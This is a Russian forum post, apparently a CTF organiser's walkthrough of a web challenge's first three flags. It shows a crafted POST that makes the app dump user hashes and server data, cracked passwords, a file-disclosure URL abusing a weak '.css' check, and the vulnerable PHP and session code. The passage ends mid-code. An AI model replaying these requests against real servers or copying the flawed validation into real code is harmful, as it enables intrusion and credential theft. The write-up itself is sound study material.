Прошло 78 дней, которых вполне достаточно для решения тасков подобной сложности, поэтому, с вашего позволения (нет), буду подводить итог
Спасибо всем кто учавствовал! Отдельный респект затащившим:
@Twoster,
@rrock,
@Felis-Sapiens (да, не взял 5й флаг, но если бы получил киллер хинт, то затащил бы с лёгкостью, поэтому зачёт). Вы просто космос, уважуха гайзы, вы хенкеры и ниипёт!
Ниже представлен примерный ход прохождения, который описан по мере возможности, так как половину того, что хотелось бы написать уже стёрлось из памяти. Поэтому если не брезгуете читать обрывочные суждения и местами словесный понос, милости прошу
⚑ 1.
{SKL_IT_WAS_EASY}
Часто при анализе чёрным ящиком используется фаззинг параметров. Передача различных комбинаций или изменение типа передаваемых параметров, может повлечь за собой нестандартное поведение исследуемого приложения. Помимо получения различных аномалий для дальнейшего изучения, порой можно получить много информации о системе, в случаях, когда разработчики забывают отключить инструменты для отладки или сообщения об ошибках.
Для завладевания первым флагом, достаточно изменить тип:
Код:
Code:
POST / HTTP/1.1
Host: 80.211.180.74
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
username[]=&password=&login=Login
Что в свою очередь повлечёт выдачу отладочного сообщения:
Код:
Code:
We've got 500, something went wrong... Array
(
[_GET] => Array
(
)
[_POST] => Array
(
[username] => Array
(
[0] =>
)
[password] => Array
(
[0] =>
)
[login] => Login
)
[_COOKIE] => Array
(
)
[_FILES] => Array
(
)
[users] => Array
(
[skillprogrammer] => Array
(
[userid] => 1000001
[password] => 805e33bbec4739bc0da4b6eeb3720c6fa9f0947921d4cf8996c3929275c8f89353c925983ff7c4c78e998f3803d0ddcccc6616d47e05af05caa4ebeaf848814f
)
[annie] => Array
(
[userid] => 1000002
[password] => 3a2a5e118c11478d971f896554ac4fc012c5bfbc3f17f8fd20942f81a2dd064a992f6cd2f4856991bb77684c98f44edd291ba17d3cb2fa439588142e36874181
)
[joe] => Array
(
[userid] => 1000003
[password] => 7d014b30e1e9611c210298bddc6135d5530f4cfc7b94208f82554c56bbe19c5a8a373ba3284b79c36ade8adc9c1a49449c1360e210abf119ea237f102cfe815a
)
[donald] => Array
(
[userid] => 1000004
[password] => 8cb17d4622c3d9ddc925bc43942bd2be383b30aa2dc3c6a23ef84f0e6cd7c2365378f8e4d098e79675569670b5ab6e9ea3f8af12ad559443ffb6dcd8ee5981b3
)
)
[check] =>
[login] => 1
[user] => 0
[_SERVER] => Array
(
[USER] => www-data
[HOME] => /var/www
[HTTP_CONTENT_TYPE] => application/x-www-form-urlencoded
[HTTP_CONTENT_LENGTH] => 35
[HTTP_ACCEPT] => */*
[HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0
[HTTP_HOST] => 80.211.180.74
[REDIRECT_STATUS] => 200
[SERVER_NAME] => _
[SERVER_PORT] => 80
[SERVER_ADDR] => 80.211.180.74
[REMOTE_PORT] => 17229
[REMOTE_ADDR] => 89.232.69.92
[SERVER_SOFTWARE] => nginx/1.10.3
[GATEWAY_INTERFACE] => CGI/1.1
[REQUEST_SCHEME] => http
[SERVER_PROTOCOL] => HTTP/1.1
[DOCUMENT_ROOT] => /var/www/html
[DOCUMENT_URI] => /index.php
[REQUEST_URI] => /
[SCRIPT_NAME] => /index.php
[CONTENT_LENGTH] => 35
[CONTENT_TYPE] => application/x-www-form-urlencoded
[REQUEST_METHOD] => POST
[QUERY_STRING] =>
[SCRIPT_FILENAME] => /var/www/html/index.php
[PATH_INFO] =>
[FCGI_ROLE] => RESPONDER
[PHP_SELF] => /index.php
[REQUEST_TIME_FLOAT] => 1535567054.7217
[REQUEST_TIME] => 1535567054
[0] => Array
*RECURSION*
)
[GLOBALS] => Array
*RECURSION*
)
{SKL_IT_WAS_EASY} -->
Забавный факт, мембер
@vulnbe прислал вариант, который небыл учтён, так как прохождение закладывалось линейным, учитывались многие факторы, но одни из них проскочил. Пусть это получилось не преднамеренно, но всё же, не менее показательно. Отсутствие параметра
username, так же влечёт аналогичные последствия
.SpoilerTarget" type="button">Spoiler: Мысли в слух
Меня несколько раз упрекали в том, что данный таск надуманный. Если взглянуть на современные фреймворки и какую информацию они выдают в отладочном режиме:
https://i.imgur.com/wA9Ncip.png
Я, в свою очередь, могу с уверенностью поставить под сомнение адекватность этих упрёков. Чего только стоит раскрытие локальных путей на одном из сайтов конторы предлагающей пентесты. И являющейся лидером по оказанию подобных услуг в своём регионе. Казалось бы, безобидный пустой POST, что может пойти не так ?
⚑ 2.
{SKL_FILE_DISCLOSURE_IS_AWESOME}
Изучив полученную отладочную информацию, можно заметить наличие логинов пользователей и хешированные пароли. Проведя нехитрый анализ алгоритма хеширования или просто загуглив, выяснится что это SHA512 и для нескольких из них можно легко получить значения, так как пароли являются слабыми.
Цитата:
Сообщение от None
annie:nobody
donald:trump
|
Попробовав любую пару, получаем в ответ
You not authorized to access that tool, sorry :'(. По каким-то причинам доступа нет, возможно, у пользователя мало прав или он был ограничен в использовании. Но тут уже что-то новое и это хорошо. Заглядываем в HTML и внимательно изучим ответ:
vs, без аутентификации:
Для пользовательского интерфейса используется иная загрузка CSS стилей. Здесь в пору попробовать изучить эту подачу. Убеждаемся, что оба файла доступны в корневой директории хоста. Далее пытаемся отстраивать различные конструкции с использованием комбинаций для эксплуатации Directory Traversal, которые могли бы заставить читать файл стилей из текущей директории или выше (
./,
../).
При этом, держа в голове или записывая все варианты поведения и сопоставляя их между собой. Долго ли, коротко ли, должны прийти к неким выводам, что файлы читаются только из текущей директории и только при наличии
.css. Поэтому такая конструкция, вполне удовлетворяет:
Код:
Code:
http://80.211.180.74/?css=style.css,user.css/functions.php
Этот код:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]maybeCSSRequest[/COLOR][COLOR="#007700"](){
if(!isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'css'[/COLOR][COLOR="#007700"]])) return;
[/COLOR][COLOR="#0000BB"]$css[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]array_map[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'trim'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]','[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'css'[/COLOR][COLOR="#007700"]]));
foreach([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]$css[/COLOR][COLOR="#007700"].= ([/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'.css'[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]basename[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])) :[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Content-type: text/css'[/COLOR][COLOR="#007700"]);
exit([/COLOR][COLOR="#0000BB"]$css[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]$css[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'Hacking attempt!'[/COLOR][COLOR="#007700"]);
}
[/COLOR][/COLOR]
Который по причине ошибки валидации, позволяет читать произвольные файлы из текущей директории. Будь там регулярка типа
/css$/ или сравнение расширений по вайт листу, то подобный финт ушами не прокатит.
А вот и несколько уязвимостей подобного типа:
1,
2 (не надуманно! )
⚑ 3.
{SKL_AUTH_BYPASSED_LIKE_A_PRO}
Получение читалки на желаемой цели, наверное один из лучших вариантов развития собыйтий при продвижении вглубь.
Вычитываем все возможные файлы и приступаем к изучению. Если не заметили до этого, то по коду видим, что аутентифицированному пользователю присваивается кука
rememberSession, которая впоследствии "запоминает" пользователя для приложения. Так как в наличии есть ещё пара юзеров с неизвестными паролями, которые, возможно, имеют более высокий уровень доступа, вполне уместно разобраться с механизмом сессий:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]generateSession[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userid[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cookieEnabled[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cookieEnabled[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cookieEnabled[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'J'[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]$cookieEnabled[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$cookieEnabled[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'C'[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]$cookieEnabled[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]=
[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]=
[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"]=
[/COLOR][COLOR="#0000BB"]$userBlock[/COLOR][COLOR="#007700"]=
[/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]uniqid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'p'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'-'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'@'[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$userBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_pad[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userid[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'0'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]STR_PAD_LEFT[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getHash[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userBlock[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getSalt[/COLOR][COLOR="#007700"]());
[/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getTimeOffset[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cookieEnabled[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$userBlock[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$cut1[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cut2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cut3[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]12[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cut4[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]14[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cut5[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cut6[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]25[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cut7[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]30[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cut8[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]35[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$cut2[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]12[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut4[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut3[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]30[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut8[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]25[/COLOR][COLOR="#007700"]}.
[/COLOR][COLOR="#0000BB"]$cut7[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut6[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]17[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut5[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut1[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]);
}
function[/COLOR][COLOR="#0000BB"]getSessionArray[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$expire_time[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$session_array[/COLOR][COLOR="#007700"]= array();
[/COLOR][COLOR="#0000BB"]$timeCheck[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getTimeOffset[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$cut2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cut4[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cut3[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]16[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cut8[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]19[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cut7[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]23[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cut6[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]29[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cut5[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]35[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$cut1[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]41[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$pcut1[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]};
[/COLOR][COLOR="#0000BB"]$pcut2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]15[/COLOR][COLOR="#007700"]};
[/COLOR][COLOR="#0000BB"]$pcut3[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]18[/COLOR][COLOR="#007700"]};
[/COLOR][COLOR="#0000BB"]$pcut4[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]22[/COLOR][COLOR="#007700"]};
[/COLOR][COLOR="#0000BB"]$pcut5[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]28[/COLOR][COLOR="#007700"]};
[/COLOR][COLOR="#0000BB"]$pcut6[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]34[/COLOR][COLOR="#007700"]};
[/COLOR][COLOR="#0000BB"]$pcut7[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]40[/COLOR][COLOR="#007700"]};
[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$pcut1[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pcut2[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pcut3[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pcut4[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pcut5[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pcut6[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pcut7[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$cut1[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cut2[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cut3[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cut4[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cut5[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cut6[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cut7[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$cut8[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]24[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$userid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]26[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]34[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]};
[/COLOR][COLOR="#0000BB"]$cookie_enabled[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]};
[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]getHash[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userid[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getSalt[/COLOR][COLOR="#007700"]()));
[/COLOR][COLOR="#0000BB"]$test_protection[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]12[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]30[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]25[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]17[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]};
